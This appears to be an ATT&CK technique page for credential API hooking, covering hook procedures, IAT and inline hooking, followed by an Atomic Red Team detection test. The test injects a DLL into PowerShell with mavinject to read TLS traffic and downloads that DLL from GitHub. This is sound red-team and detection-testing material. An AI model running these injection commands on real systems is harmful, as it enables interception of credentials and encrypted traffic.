Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)
* **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)
* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)
Atomic Tests
Atomic Test #1 - Hook PowerShell TLS Encrypt/Decrypt Messages
Hooks functions in PowerShell to read TLS Communications
Supported Platforms: Windows
auto_generated_guid: de1934ea-1fbf-425b-8795-65fb27dd7e33
| Name | Description | Type | Default Value |
|——|————-|——|—————|
| file_name | Dll To Inject | path | PathToAtomicsFolder\T1056.004\bin\T1056.004x64.dll|
| server_name | TLS Server To Test Get Request | url | https://www.example.com|
Attack Commands: Run with
1
2
| mavinject $pid /INJECTRUNNING "#{file_name}"
Invoke-WebRequest #{server_name} -UseBasicParsing
|
Dependencies: Run with
Description: T1056.004x64.dll must exist on disk at specified location (#{file_name})
Check Prereq Commands:
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| if (Test-Path "#{file_name}") {exit 0} else {exit 1}
|
Get Prereq Commands:
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| New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1056.004/bin/T1056.004x64.dll" -OutFile "#{file_name}" -UseBasicParsing
|